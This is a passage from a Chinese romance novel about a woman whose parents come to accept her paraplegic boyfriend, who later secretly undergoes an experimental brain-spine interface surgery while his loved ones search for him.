宋知念前面吞吞吐吐的,加上傅家把大公子消息满地掩饰,宋父去探查了许久,也只知道傅家大公子这两年身体不好,其他什么也不清楚。 这样一上门就是坐在轮椅上的姿态,倒真的把宋父宋母吓了一跳。 是临时受伤还好,要是这轮椅要坐一辈子,或是严重些的截瘫,那…… 宋母和丈夫对视一眼,宋父对她摇摇头,眼中多了些复杂。 “他就是——”宋知念听到接过话题,刚想要帮傅瑾承暂时隐瞒住,却被傅瑾承拉了拉。 宋知念回过头,却看到傅瑾承已经若无其事松开了手,他似乎并没有打算隐瞒的模样,眼中已经是一片坦然。 “伯父伯母。”傅瑾承停顿了下,在宋知念担忧的目光下给予了她一个安抚的眼神:“我是脊髓损伤。” 他苦笑一下,用手比画出胸口的位置。 “从这里到下面,是完全没有感觉的。” 宋母没想到他会直接承认,她气得一口气差点没喘过来,宋母瞪了眼宋知念,却看到宋知念完全没有理会她的意思 宋知念正拉着傅瑾承的手指,指尖勾勾搭搭若即若离的,一副在调戏人家的模样。 简直没眼看。 宋母的胸口气得有些气闷,本来已经不疼的腰椎此时也在隐隐作痛。 “宋知念。”宋母剜了眼罪魁祸首,却见罪魁祸首正和没事人一样还在拉扯着人家的手,气得宋母难得连名带姓喊了宋知念的名字:“你帮我去楼上拿个药。” 明眼人都知道,这是宋母要支开宋知念。 宋知念也没什么借口拒绝,她啪嗒啪嗒跑到父母卧室翻药,翻了半天也没找到母亲的口中说的药,却先听到了身后卧室门打开的身影。 “妈?”宋知念有些疑惑:“你怎么来了?” “我怎么来了?”宋母揉着腰没好气道:“我怎么不知道你今天让人家上门。” 宋知念无辜的大眼眨了眨,看向宋母:“这不是您和爸前两天说的吗,您和我这一说,我就去和阿承说了。” “你这死丫头,难道还要我夸你们一句效率高?” 宋母把门关上,三步并作两步走到宋知念面前,担忧得拉过宋知念,坐到沙发上问道:“念念,小傅他到底是怎么回事?” 宋知念的学长,傅家大公子,那些商场当中关于他的做事风度宋母也不是没有听说过,外加从刚刚进门的谈吐礼节上看来,宋母基本挑不出来任何的毛病。 如果非要说,她们家这个从小被他们两个娇惯骄纵到大的,配人家都还有些差距。 但问题就是,他的身体。 除了身体之外的其他条件,宋母觉得自己没有任何一点能够反对的意见。 “是车祸。” 宋知念顿了顿,说道:“当时大学的时候,他不辞而别,拖了其他学长和我分手的原因,也是因为这个。” “那这也有三年了。” 宋母大概计算了下,疑惑道:“复健没有做吗?” “一直在做,但是效果一般。” “这样啊…” 宋母叹了口气,她看着自己面前健康、有活力的女儿,那些话她从见到傅瑾承的时候就想问她,到了现在,她终于开了口:“念念,你真的很喜欢他吗?如果你没有那么喜欢的话,能不能再考虑一下?” 她们是开明的家长,但是再开明的家长,面对自己女儿高位截瘫的男友,也不能一下接受。 “你和他在一起,会很累。” 宋母将宋知念耳边的碎发别到了她的耳后,叹道:“他有身体的问题在,虽然工作钱财不缺了,但那些时不时的大病小病,你都要去照顾,而且他在日常生活上面都比常人繁琐许多。” “甚至,”宋母无情地宣布着这个事实:“他的寿命都会比别人短许多。” 宋家下属的工厂有和医疗器械公司合作的,宋母和宋父在应酬的时候,多多少少也听闻过一些事情。 “我不是想让你们分手,但是,作为母亲,我希望你能思考一下,你能不能接受和他在一起的生活?” 宋母爱怜地看着自己的女儿。 她生宋知念的时候大出血,当时进了产房的宋父被吓得腿都软了,在她出月子的当天晚上就不顾自己母亲的阻拦,执意去做了结扎手术。 这二十多年,她们都是将所有的爱和自由都倾注到了这颗掌上明珠上。 母亲说的这些宋知念都知道。 “可是妈妈,我……” 宋知念沉默了片刻,抬起头,她的眼眶微红,眼泪像是一碰就要掉落的模样: “我真的,很喜欢他。” “我知道。” 她怎么会不知道呢?在最意气风发的年纪遭受了飞来横祸,却还能保持如今这样的模样,即使是他们,也不得不承认傅瑾承的坚韧。 母亲的理解让宋知念的眼泪控制不住,她扑进了母亲的怀中,哽咽着说: “妈妈,我真的很喜欢很喜欢他,我从三年前,不,或许早在更早的时候,我就已经开始喜欢他了。” 宋知念自己都说不清自己是什么时候喜欢上傅瑾承的,或许是入学时候的惊鸿一瞥,或许是一次次活动中他一手担责的模样,又或许是那一次的拥抱,那一次深夜的陪伴…… 当宋知念自己恍然反应过来的时候,她的视线已经下意识地开始去追捕那个身影,她的目光总是第一个注意到他。 “我知道你说的……我见到过他在监护室的模样,我看到过他在医院生病 的痛苦。” 宋知念抽泣道:“当我看着他躺在病床上,身上插着那些管子监护的时候,我真的很害怕,我好怕他会再一次离我而去,我真的好心疼,可是除了哭泣和心疼,我什么都不能为他做。” 宋母大概已经清楚了自己女儿的想法,除了三年前宋知念分手的时候,宋母基本没有见过自己女儿如此伤心的模样。 她无声地抽了几张纸巾,递给宋知念。 算了,宋母想。 她完全可以强硬要求女儿分手,然后再给她四处寻找相亲对象,可是这会是宋知念想要的吗? 人的生命本就短暂,能够在这有限的时间当中遇到一个你爱的又爱你的伴侣,是如此的稀少。 “如果你做好了决定,那就去吧。” 宋母揉了揉女儿的头发。 她依稀还记得第一次触碰怀中婴儿的触感,那样的柔软、脆弱,让她第一次体会到了“母亲”这个称呼的意义。 “妈妈。” 宋知念从母亲的怀里抬起了头,她的眼角还噙着泪,眼中还有些不敢置信:“真的吗?” 宋母点了点头:“嗯。” “虽然小傅的情况特殊了些,但是谁叫你喜欢呢。”宋母眼中的感伤和担忧未曾退去,却还是努力对着宋知念勾了勾嘴角。 “可是念念,你只要记住一点就好。” 宋知念疑惑地看着母亲,却听到母亲温柔的声音: “你只要记住,我和你爸爸永远会无条件站在你的身后。” 母亲的话一出,宋知念的眼泪再也控制不住。 “小傅和你爸爸去楼下茶室了,你爸他总体对他也是蛮看好的,但小傅这个身体让他也有些焦虑。”宋母打开手机,看了眼丈夫给自己发来的信息,努力掩饰住自己因为女儿痛哭而涌出的涩意。 “待会晚饭好了,留他吃晚饭吧,我待会让阿姨过来对一下有没有他身体忌口的菜。” “好了,别哭了都多大了,害臊不害臊啊。”宋母无奈地擦掉了宋知念眼角的泪水:“让小傅看到了,还以为妈妈欺负你了。” 宋知念眼角的泪水滴滴地落下,她摇着头想拿纸巾擦干净,却洇湿了一张又一张。 “妈妈。” “嗯?” 宋知念抱住了母亲,轻声说道: “谢谢。” 第63章 第63章“我很早以前见过你。”…… 阳光在天与地的分界处与黑暗进行着交织,半边天空被染得昏黄沁血。 茶室内,暖黄色的灯光照亮了整间屋子,傅瑾承望着窗外的落日,面前却被人添进来了新茶。 “谢谢叔叔。”傅瑾承接过茶水,轻抿一口,将杯子放回到桌上。 他握着杯子的指骨关节紧紧地突起着,足以见手的用力。 “我很早以前见过你。” 宋父再次给傅瑾承添上茶水,他眼睑下垂,回忆了片刻说道:“那应该是在四年前了。” 四年前,他正好一起去了傅氏旗下的晚会,在那场晚宴上,见到了从总部来分公司视察的傅行止和傅瑾承。 那时候他上去敬酒,刚报了个家门,就被傅行止抬抬手完全地制止,并且熟视无睹地从他身边走过。 宋父早就知道傅行止的性格,本想认命,旁边的傅瑾承却往前跨了一步,给他和伙伴们一起解了围。 “你和你父亲不一样。” 宋父感慨道:“也不怕你笑话,我们那一圈人生的大多是女儿,那时候我就在想,如果念念以后的丈夫能有你圆滑,也就足够了。 “谁料……” 一晃四年过去,曾经脑海之中闪过的念头竟成为眼前的现实。 那段时间傅瑾承参与的晚会太多,帮傅行止善后也太多,他回忆了一下,最多也只能记得零星的几个片段。 “叔叔过誉了。” 傅瑾承眼睑下垂,他的手搭在腿上地毯上:“毕竟,那是四年前了。” 手下,是已经在这三年刻骨铭心的触觉,他捏了捏自己的腿,却依然毫无感觉。 时间足以改变太多,而那些令人唏嘘的命运,除了叹气和感伤,旁人似乎什么都做不了。 “看到你现在的样子,我大概知道这几年为什么没有再看到你了。” 宋父叹着,拿起茶杯晃了晃。 茶汤在杯中摇荡,人变成了小小的一个影子,映在水中。 “我和夫人其实并不是很赞成你们在一起。”宋父一口喝完了杯中的茶,以往的熟悉的味道此时却突然觉得有了些苦涩。 傅瑾承两唇紧抿,神色紧绷地说:“我知道。” 他当然知道,他从一开始就知道,没有父母会同意自己的孩子嫁给像他这样的人。 但是他还是想要试一试。 “叔叔,我……” “不是因为你。”宋父起了身,拍了拍傅瑾承的肩膀,背着手走到落地窗前。 窗外,太阳几乎已经完全隐没于地平线下,只留一道微光。 “是因为念念。” 等到太阳完全被吞噬,天际间变成了一片黑暗,宋父回过身,看着傅瑾承。 “希望你不要辜负她对你的信任。” 傅瑾承愣了一瞬,宋父话中的意思是那般的明确,他原本都做好了一切最坏的打算,但是事实却向着和他想象预期完全相反的道路上前进。 即使他的情绪遮掩功底再怎么好,也难得地泄露了他眼中的惊喜与期待。 “我一定不会的。” 傅瑾承深吸了一口气,对着宋父郑重地承诺道:“我以我的生命向您发誓,我一定不会去做任何不利于她的事情。” “我不需要你的生命,我只需要我女儿的快乐。” 宋父笑笑:“等你到了我这个年纪就会知道,生命是如此的宝贵。” 门外已经响起了敲门声,宋父低头看着手机上的信息,头都不抬地说道: “进来吧,念念。” 傅瑾承侧脸,还没有来得及调转轮椅,就感受到自己被人从身后抱住。 宋知念的手搭在傅瑾承的肩上,双手在他的胸口处交扣合十,她弯着腰趴在他的椅子上,懒洋洋地像是把他当作了依靠的支撑。 做完这些的宋知念还颇有兴致地对父亲打了个懒洋洋地招呼:“嗨,爸。” “女孩子家的。”宋父一下不知道该批评女儿的大胆还是该批评女儿的大心脏,他看上去有些爱嫌的挥了挥手: “小傅身体不好,你怎么还这样随便。” 宋知念不服地顶嘴:“又没事情。” “算了算了,不想说你了,准备出去吃饭吧。” 得了父亲的令,宋知念推着轮椅就想出去,却被父亲叫住:“念念。” 宋知念回头,看向自己的父亲。 宋父捧着茶杯,却并没有看她,他望着落地窗外的黑暗,缓缓开口道: “你黄叔叔前面看你妈妈腰疼,给了我一套按摩的法子,我放在书房了,你待会拿去给医生看看,那法子给小傅有没有用。” 宋知念动了动唇,却也只能喊出一声: “爸。” “去吧,我待会就来。” 宋父转回身,对宋知念挥了挥手:“你带小傅参观一下家里吧。” 或许是因为宋知念家的氛围和他自己家太过不一,又或许是因为宋父宋母的热情让傅瑾承一时间有些受宠若惊,这位在商场工作时完全不动如山的傅瑾承却在吃饭的时候走了好几次神。 直到宋知念推着傅瑾承回到家的时候,傅瑾承似乎才回了神。 他被护工换了轮椅,推着去浴室里洗了澡,水流从他的身上流下,腰间的束腹带已经变成了贴着皮肤柔软的材质。 水雾中,傅瑾承恍惚地抬起手,用手去触碰那不断的流水。 水从他的指缝间滚落。 傅瑾承低下头,看着面前蹲在自己面前给自己清洗下肢的护工,又看向自己的身体。 胸口处的疤痕,腿间还结痂的伤口,下垂的双脚,萎缩的双腿,还有横跨在腿间的尿袋。 傅瑾承看了许多,终于抬起了自己的左手。 那些从手腕开始的伤口已经化作了一条条白色的伤口。 他却只能想起饭桌上宋父听完他车祸之后的咋舌震惊,和宋母那句“疼不疼啊”,以及宋知念顺着他左手腕渐渐向上的抚摸。 傅瑾承闭上了眼睛,将脸置于流水之下,任由那些水滴于他的脸颊上滚落。 “好啦,睁眼吧。” 宋知念在他的眉骨上涂抹完乳液,又给他拿自己的眼霜往眼底涂抹了一圈,这才大功告成般地拍拍手。 傅瑾承听话地睁开眼睛,他想拉住宋知念,却看到宋知念从包里又翻出来了个祛疤膏,对着他道:“伸手。” 在宋知念的注视下,傅瑾承乖乖地伸出了左手,翻过来。 宋知念拉着他的手将祛 疤膏从手腕开始涂抹,又给他涂好了胸口的疤痕和背后的伤疤,这才罢休。 “一次就快半只了。”宋知念按压了下蓝色的药管,将药管放在一边,随后爬上傅瑾承的床,和他坐在一边。 他那张床比一般的病床要大得多,但是两个人都缩在一侧,倒显得拥挤了许多。 傅瑾承默默地将她往自己的身体靠了靠,将脸靠在她的肩膀上,叹了口气。 “念念,我究竟,何德何能。” 他明明出生于那样不堪的家庭,他有那样的父亲,他有这样的身体,他究竟是何德何能,才获得了她和她家里人对于他的认可。 “因为你本身就很好啊。”宋知念笑着抱住他:“好啦,睡觉啦,我爸妈同意给我放宽回家的时间,我可以等你睡着再走。” 月光低垂,透过窗户,在傅瑾承的面前越发的虚幻。 傅瑾承嗯了的一声, 用尽全身的力气抱紧了她。 * 傅瑾承可以完全恢复到间歇导尿,撤离开尿袋的时候,已经是十月下旬的事情了。 他撒尿袋的过程并不顺利,撤出的时候甚至都因为刺激失禁了一会,无论是气味散出还是护工帮忙更换,都令傅瑾承的脸色越发阴沉。 宋知念这段时间,除了去负责和社区工作人员,以及外宣推广之外,剩下的时间基本待在了傅家。 她看得清楚傅瑾承情绪的变化,每次在傅瑾承情绪有变的时候,她都干脆学着鸵鸟一样把傅瑾承的眼睛挡住,装作他看不到的模样。 但同样的,也并不是撤了尿袋,就能代表傅瑾承能够定时排泄。 二便失禁是他们永远无法逃避的问题。 宋知念从社区回来的时候,正好又碰上了这一幕。 三楼的房间之中是一片熟悉的死寂。 护工正在无声地替傅瑾承更换着他的尿不湿,他的速度很快,但是也阻止不了臭味在空气中的弥漫,房间中的新风系统正在努力地排除着异味,但目前看来效果似乎有些一般。 宋知念目不斜视地走到了床边,她坐在床边捞起了正侧躺在床上的傅瑾承,扳过他的脸,干脆用手直接覆盖着的。 护工的动作很快,但直到护工离开房间,宋知念似乎都没有要松手的意思。 “念念,我呼吸不了了。” 傅瑾承含糊着说,他拉了拉宋知念的手,抗议道。 宋知念有些走神,听到傅瑾承的话,她像是触电一般马上松开了手。 “不好意思,阿承。” 宋知念有些惭愧道:“我刚刚正在想事情,走神了。” “怎么了?” “就是……”宋知念有些犹豫。 她最近和社区谈得比较多,在社区的时候又见到了一些特殊的人群。 被家暴的母亲、在旁边痛哭的孩子,被家人抛弃的唐氏儿,父母离婚后被抛弃的女儿…… 可是很多时候,就连社区也没有什么办法去实际帮到她们。 就在刚刚,宋知念看着她们为被父母抛弃的女孩叫了公安民警的帮助。 但是房屋之内住的已经是和女孩毫无关系的继父一家,他们拒绝女孩的进入。而无论工作人员怎么拨打女孩母亲的电话,她的母亲却一直在说自己在外地,并且在电话之中一直高声强调,女孩已经年满十八,可以独立生存了。 无奈之下,女孩的高中老师带着她先回到了学校。 宋知念深吸一口气,将那些绝情、哭喊,短暂地置之脑后。 她看着傅瑾承,坚定地说。 “我想,去力所能及地帮助一下她们。” 第64章 第64章“谁都不要说。”…… 一旦确定了方向之后,宋知念就和上了马力一样,完全得行动了起来。 她每天和高雅琴她们讨论,讨论结束后,又接连不断的去对接不同的社区和公益组织。 傅瑾承盯着眼前黑漆漆的手机屏幕,不知道在等待着什么。 “嗡嗡。” 手机震动了一下,屏幕亮了起来,提示着微信有新的消息。傅瑾承迅速拿起了手机,解开屏幕,却看到眼前的微信消息,是傅祈安给他传来的消息。 祈安:哥!进去的两位叔八成把老头子供出去了,我看老头子已经开始去各处周旋了。 傅祈安和他说的消息,傅瑾承早在三天前便已经知晓,他甚至比傅祈安知道的还多。 傅瑾承的手指动了动,他不死心的退出软件重新进入,却依然没有看到宋知念新的消息。 弟弟的开心透过屏幕都能感到到,但他的快乐却并未感染傅瑾承。 他看了傅祈安的消息看了许久,最后只回了个“哦”。 祈安:哥你怎么回事哥!哥你怎么这么冷淡!我来陪你了哥! 两个大老爷们有什么好陪的。 傅瑾承抿着唇笑了笑,只是回了他一个字:“滚”。 “好吧……” 这个字一贯很符合自家哥哥的性格,傅祈安放下心,麻溜的遁地消失。 见傅祈安没有回消息,傅瑾承放下手机,按了按自己的额角。 他这两周,都不怎么能见得到宋知念。 她像是已经完全投入到了自己的项目之中去,而傅瑾承唯一能够获得的,就是宋知念每天定时的早安晚安,或者是偶尔视频之中对他的撒娇和抱怨。 很多他给她发去的消息,往往都要隔了几个小时,她才会回他。 这样,也正好。 他想。 屋外的门被人敲了敲。 “进来。” 傅瑾承朗声说道,他背对着门边,只能静静的听了会脚步声来判断进门的是谁。 这个脚步落地的声音有些沉重,但迈得速度很快快,即使背对着门,傅瑾承也能听出这道脚步是谁的。 “谢医生。”傅瑾承仰起头看向窗外。 夜幕低垂,只有远处靠近城中的天空在城市灯光的映照下,显得有些泛白。 “傅总。” 谢医生是过来问他最终决定的,他犹豫再三,还是问道:“您真的决定好了吗?” 他问的小心又谨慎:“除了这个方法外,国外也还有干细胞疗法也已经进入了临床研究之中,您要不和宋小姐讨论下?” “就这样吧。” 傅瑾承没有犹豫,他避开了谢医生的提议,抬起眼看向对面房屋的塔尖,道: “这已经是目前最成功的办法了,不是吗?” 谢医生却并不赞成。 “现在脑脊接口各个医院都在进行尝试,也已经开始招募相关的志愿者,您现在去参加也只能做为实验对象,您完全可以等项目技术成熟之后再去进行,而不是选在现在这个时间点。” 这个时间点,所有都还在进行尝试,傅瑾承完全可以再等上一年半载,等手术技术模式稳定了下来在进行脑脊接口手术。 作为主治医生,谢医生并不赞成傅瑾承去冒这样无意义的危险。 他甚至后悔自己在一周前把这个脑脊接口临床实验的消息告诉傅瑾承。 谢医生的声音越来越大,他的手已经拍在了桌子上:“您现在去,成功了就是成功了 ,但是失败的后果是什么,我们谁都不知道!” “万一……” 谢医生还想再劝,却被傅瑾承打断,他冷静道:“目前没有失败的案例,不是吗?” “是,但这一共也才做了几场呀!” 谢医生有些气急,他早就已经知道面前病人的执拗,却还是忍不住气愤:“现在还没有人见过失败,但是不代表不会失败!” 这是一项还未完全探明的实验,前面已经有了几个成功的案例,但是没有人见过失败,也没有人敢赌失败的后果。 “所以,我不想告诉他们我去做手术的这件事情。” 傅瑾承眼睑微抬,鸦睫轻颤,终于开口道。 “谁都不要说。” 他从一周前谢医生和他说了这个实验项目的时候。就已经开始在计算着这些事情。 宋知念最近的重心已经转移到了工作上、傅祈安正在被傅行止牵连着,顾书屿那边正忙着和林芸恋爱。 在大家都在忙的时间,他可以让谢医生给他打去医院复健、检查的掩护,也不会引发大家的疑心。 “成功了最好,失败了的话……” 傅瑾承的手按住了自己的胸口,手掌下的身体被无形的线分为了两半,他脸上的肌肉僵硬的挤出了个笑脸:“如果失败了,也不会比现在差多少了。” 他已经做好了最坏的打算,甚至就是因为做了这个打算,他才不想告诉身边的任何人。 “我明白了。” 谢医生没有再劝,他甚至也不知道该劝什么,他只能拿起那些那些表格材料,默默地离开房间。 表格在月光下更加的显眼,白纸黑字的临床研究知情书被映衬着惨白。 【我确认已被告知本研究的目的,我下面的签名表明我愿意参加本研究。】 【受试者签名:傅瑾承】 在最下方的受试者签字页上,独属于傅瑾承签名的水墨已经凝固在了纸上。 * 在进医院的前一个晚上,傅瑾承离开了家。 电话那头的宋知念正在和他抱怨着今天站坐太久,呆的腰痛,傅瑾承一边听宋知念说着,一边时不时嗯几声。 他抬着头,看向了二楼的露台。 二楼的露台上,宋知念正盘着腿坐在椅子上,手上拿着材料快速翻看着,电话那头的翻页声和她说话的声音都没有停过。 “念念。” 傅瑾承突然打断了她。 宋知念翻材料的手一停滞:“嗯?” “你看下面。”他说。 宋知念放下了手中的材料,探头看向了楼下。 黑色的车停在上一次的位置,而在车前,穿着睡衣的傅瑾承正坐在轮椅上,抬头看着她。 他们的目光在空中遥遥的对视,宋知念惊呼一声,从楼上跑到了一楼。 “你怎么都不和我说一下呀。” 傅瑾承看着宋知念飞快跑到他面前,她的脸颊有短暂跑步留下的红晕,眼睛明亮地看着他,拉着他的手捂在自己的怀里。 “我想给你一个惊喜。” 傅瑾承望着她,他的视线一步步勾勒着她的面容,目光贪婪地想要将她的一颦一笑都牢牢的记在自己的脑海之内。 他的目光太过赤/裸,宋知念嗔怪地瞪了他一眼:“干嘛呀。” 父母今天出差去了,家里只有宋知念一个人,她干脆拉着他去了自己房间。 宋知念的房间是典型的中式风格,上一次来宋家,傅瑾承还没有有幸被邀请到闺房之中,他有些好奇的推着轮椅左看看右逛逛。 但还没来得及细看,傅瑾承的轮椅被宋知念从后面推到了床边。 “去床上躺好。”宋知念一边说着一边开了门,去露台上把刚看的文件取了进来,还不忘对傅瑾承命令道: “来都来了,我要检查下你身上看看有没有新伤!” 傅瑾承复健起来有时候都和不要命了一样,他身上皮肤又脆弱,磕着碰着都会乌青一片,加上那些盘踞在身上狰狞的伤口,倒是怎么看怎么可怜。 床铺上是一片温热,隔着床单的也能感受到这样的温度,明显是她下楼之前开好了加热的功能。 傅瑾承的伤口处在下雨天阴天地时候总是会隐隐地作痛,今天虽然没有下雨,但阴云密布也让他并不好受,傅瑾承把背靠在床铺上,只觉得那股暖意似乎已经透过薄薄的睡衣传进了骨子里。 枕在宋知念的枕头上,下身是她常躺的位置,傅瑾承忍不住舒服的叹了口气,这才转头望向宋知念。 她正在收拾着那些文件,上面似乎是一个个人名的档案,宋知念将文件归类好后,便跪坐到了床边,对着傅瑾承伸出手:“左手。” 傅瑾承递出了自己的左手。 宋知念撩开傅瑾承左手的袖子,一条条检查哪些旧伤上面是否有新伤,又掀开了傅瑾承的上衣,仔细地用手去划过哪些伤口。 腿、脚她也没有放过。 检查下来发现,傅瑾承的身上倒是没有新伤,但是那些旧伤却未曾有一点消散的迹象,依然坚固的盘踞在他的皮肤之上。 “傅先生,我让护工每次护理结束都给你抹祛疤膏的。 “宋知念有些不满地戳了戳傅瑾承的脸颊:“你说,你是不是又没抹?” 那些药膏黏黏糊糊的,傅瑾承并不喜欢那样黏腻的触感,也只有在宋知念面前才会老老实实涂抹。 傅瑾承被她戳的连发音都是含糊的,但是目光却还是看着她不放,手也巧妙的环上了她的腰:“不喜欢。” 他今天似乎格外喜欢盯人,除去他自己转移上床的时候,几乎到了她去哪他看哪的境界。 “你这人。” 宋知念对他就是生不起太多的气,她趴在他的身上,用手抱着他的脖子,时不时在借了手臂的力气,在他的脖子上亲几口。 她总是点到即止,轻柔的吻落在皮肤上,却又转瞬即逝,将傅瑾承分离前的心火默默地点燃,但每当傅瑾承要凑过来的时候,宋知念总是巧妙的避开他的亲吻。 “不许亲我,这是惩罚哦。”她用一根手指堵上了他的嘴唇。 傅瑾承抬起手,将宋知念往自己的身上移了移,宋知念一时间躲闪不及,被他整抱在了怀里。 他学着宋知念的样子,在她的耳垂变一下下亲着,他知道耳垂是宋知念的敏/感点,却还是一边亲着一边又低声喃喃道: “念念。” 傅瑾承刻意压低了自己的声音,在这夜色之中,像是刻意的引诱。 “那你就,惩罚我吧。” 他的手臂力量早就已经得到了提升,她被他的大掌掐住了腰,不得不跪坐在他的两侧。 海浪拍打着岸边的礁石,一层层的,绵延不绝,她如同被困在海面上的一叶扁舟,随着风浪,在雨中艰难的随着波浪滚动。 那些浪舌裹挟着、吞噬着这艘小舟,坠入宁静海底的之中。 在被海水淹没的时候,她似乎听到了,来自大海深处的一声叹气和道歉。 “对不起。” 第65章 第65章“说说吧。” 遮光帘阻挡了室外的阳光,宋知念翻了个身,周围已经是一片空旷。 她迷迷瞪瞪睁开眼,看了眼手机上的时间。 时间已经到了上午的九点多,宋知念总觉得身边缺了什么,她翻坐起身,抱着被子沉思了一会,才恍惚想起昨天傅瑾承来过。 她点开手机,果然看到了傅瑾承两个多小时前给她发来的早安短信。 念念:你怎么不和我说一声就走呀? 傅瑾承并没有如平时一样及时给她回复消息,宋知念知道傅瑾承早上下午都有定时的复健,倒也没有在意。 她早上还要去和其他公益机构讨论怎么样为那些想要逃离家庭的妇女和无家可归的女孩们,提供免费进行咖啡师培训的课程。 等到宋知念从第二家公益组织出来之后,她才终于收到了傅瑾承姗姗来迟的消息。 傅瑾承:看你在睡,就没有打扰你。 他平时很少回消息这么慢。 宋知念有些担心:昨天晚上没有翻身,是不是身体不舒服了?要不要下午我去陪你? 她一边调出去第二家公益组织总部的导航,一边内心在盘算着下午抽出时间去傅瑾承那边看看。 手机发出“嗡”的一声,宋知念不假思索地点开了傅瑾承的语音消息。 “我没事,早上一直在复健,这几天谢医生会带我去医院尝试些新仪器,下午就 会过去。” “你先忙你的。” 他的背景音有些嘈杂,但是语气听上去一切正常,隐隐约约之间,心情似乎很好的模样。 “好吧。”宋知念安下了心,还是按原计划与一家家组织进行沟通。 一连四天,宋知念几乎忙得脚不沾地。 她在这四天和社区还有志愿组织定好了管理模式,她们最终确定由公益组织筛选符合条件且自愿参加的女性来参与免费培训,和社区定好了第一期社区夜校的运营。 等到第一期夜校开课之后,宋知念这才松了口气,拉着咖啡店的几人小规模庆祝了一下。 高雅琴经历过被丈夫背叛,相同的遭遇让她回忆起了那些苦闷的往事,她一杯杯地喝着闷酒,直到喝趴在了桌上。 宋知念不放心她一个人回家,决定自己开车将她送回。 从高雅琴家出来后,宋知念看了下时间。 现在还没到傅瑾承入睡的时间,宋知念没有犹豫,她干脆开车去了傅瑾承家,想要迫不及待地告诉他关于自己的好消息。 傅瑾承的别墅一片死寂,就连医护人员所居住的二楼都是黑漆漆的模样。 只有庭院之中的灯孤零零地在夜空中亮着光。 宋知念将车停在了他的大门口,踩着初秋的落叶,去按铁门的门铃。 “谁呀?” 门铃后工作人员的反应似乎都慢了几拍,他们见到显示器之中的宋知念,这才赶忙上前来开了门。 “管家不在吗?” 守门的是宋知念只有几面之缘的安保人员,宋知念看着面前漆黑的主楼,有些疑惑地询问道:“怎么不开灯。” “这个,管家休……”保安支支吾吾地答不出来,宋知念也没有多问,她抬起腿,正准备往主楼走去。 “宋小姐。”眼见宋知念真的要去主楼,保安想起谢医生的嘱咐,赶忙上前阻拦道: “傅总今天还没回来,您要不先回家等一下吧?” “还没回来吗?” 宋知念有些奇怪地低头看了眼手表上的时间。 现在已经晚上九点多了,再过半小时就要到傅瑾承就寝的时间,他怎么会到现在还没回来? 宋知念点开和傅瑾承的聊天信息,他确实在今天下午的时候和她说了自己准备去医院继续尝试新的复健设备,但怎么会到现在还没回来? 她心下觉得不对,赶忙给傅瑾承打了几个电话。 但是电话那头,无一都是僵硬的女声,提示着手机的主人正在通话中。 宋知念给谢医生打过去电话,却听到那头是和傅瑾承如出一辙的女声。 见两人的电话都不接,宋知念干脆挂了电话,询问保安:“他们今天是什么时候离开家的?” “他们,是上午九点多走的。”保安回忆了一下之前傅瑾承去医院复健出门的时间,估摸着给了宋知念一个模棱两可的答案。 上午? 可傅瑾承明明下午才和她说他出门了。 宋知念眉眼一挑,冷声确认道:“他是下午走的还是上午走的?” “上午。”保安坚定地说。 “可你们傅总是下午和我说的去医院,你应该不会上午下午都分不清吧?” 宋知念转头,看向大门入口的庭院。 庭院之中的落叶已经在路边积了薄薄的一层,一看便是没有及时打扫导致的。 宋知念了解傅家,她知道管家和其他家政人员是不会遗忘最基础的庭院卫生的。 “我最后问你一遍,你们傅总,到底是什么时候走的。” 宋知念的语气冷静到摄人,保安见状,也只能将谢医生的叮嘱置之脑后,不敢隐瞒。 “傅总五天前的晚上出去找您之后一直没有回来了。” 保安小心着说:“但是这四天中间谢医生回来过,给管家他们放了假,我只是今天轮到值班才在这里的。” “四天。” 这四天,她每天都和他有消息往来,但直到现在,她才意识到他不在家里。 宋知念自嘲地笑了笑。 “我知道了。” 宋知念闭上眼睛,几次深呼吸,让自己冷静下来。 她马上给傅祈安和顾书屿都拨打过去了电话,询问他们是否知道傅瑾承在哪里。 宋知念的电话把傅祈安和顾书屿都吓了一跳,顾书屿明明还在应酬,却还是和傅祈安一起赶了过来。 “按照保安的话说,是谢医生带走的。” 顾书屿得脸上还染着酒气,他忍不住拿手松了松自己领口的领带,想要压下自己内心之中的烦躁。 傅祈安在旁边一直在给谢医生电话,但是无一例外都是和宋知念一样的结果。 机械的女声一遍遍地重复着相同的句子,傅祈安挂掉电话,又给团队之中的其他医生打去电话。 “和管家一样。”傅祈安和团队之中的其他医生打完电话,他挂掉电话,脸色越发的阴沉:“谢医生也给他们放了一周的假。” 他们三人这几天都有接到过傅瑾承发来的消息,或是语音,或是文字,和平时几乎别无区别。 顾书屿给康复医院打了电话,但得到的回复却是傅瑾承这四天从未来过康复医院。 “现在的关键是,人在哪里。” 傅祈安起了身,焦虑地在沙发边转着,他转向宋知念,忍不住问道:“念念姐,我哥那天晚上有和你说什么吗?” “他……” 宋知念靠在沙发上,仔细回忆着那天除去甜蜜之外的异样。 她想了半天,终于想起在她被他拉入漩涡时候那一声对不起。 但这句话同样也让他们无法完全摸得清楚头绪。 时间一分一秒地过去,各方的调查也没有消息,他们也联系了警方,但目前也还没有任何回复。 等到午夜十二点的钟声响起的时候,宋知念的手机终于响起了铃声。 那是谢医生的电话。 她打开电话,将电话公放,又示意傅祈安按下录音键。 宋知念没有说话,等待着谢医生的开口。 电话那头是一片的静默,谢医生看着自己手机上来自宋知念、宋知念乃至医院上司的几十个未接来电,叹了口气,认命道: “手术成功了。” 谢医生拿着电话,转头面向玻璃内的傅瑾承。 “手术?”三人对视一眼。 傅祈安厉声发问:“什么手术?为什么不和我们说?” 谢医生疲惫地按了按眉心,这几天他帮着傅瑾承要瞒过所有人,心理上的压力让他也没有睡好,加上这几天每一项检查他几乎都是陪着傅瑾承去的,方才又直接观摩到了手术完成才放下心。 现在,他精神和身体的承受也已经到达了极限。 “他自愿做了脑脊接口手术试验。” 谢医生简短地解释道:“来滨江二医吧。” 他说完,便挂了电话。 这座城市的夜晚并不宁静,即使已经到了十二点,路边的企业依旧灯火通明。 宋知念开着车,带着两个人一路奔驰着来到了医院的楼下。 谢医生正在住院大楼下等着他们。 他的脸上有未休息好的疲惫,眼角下挂着青黑,傅祈安看到谢医生的瞬间,那股后怕瞬间涌上心头,他冲上去凶神恶煞地抓住了谢医生的衣领。 “祈安。” 宋知念停好车,从他们身后过来,她淡淡道:“放开谢医生。” 傅祈安有些不甘心,他咬牙切齿地对着谢医生说:“我哥要是出了什么事情,我是不会放过你的。” 谢医生苦笑了一下,摊摊手无奈道:“是傅总要求的,我也只是听他的。” 如果没有傅瑾承的要求,谢医生是万万不敢这样去做的。 “先带路。” 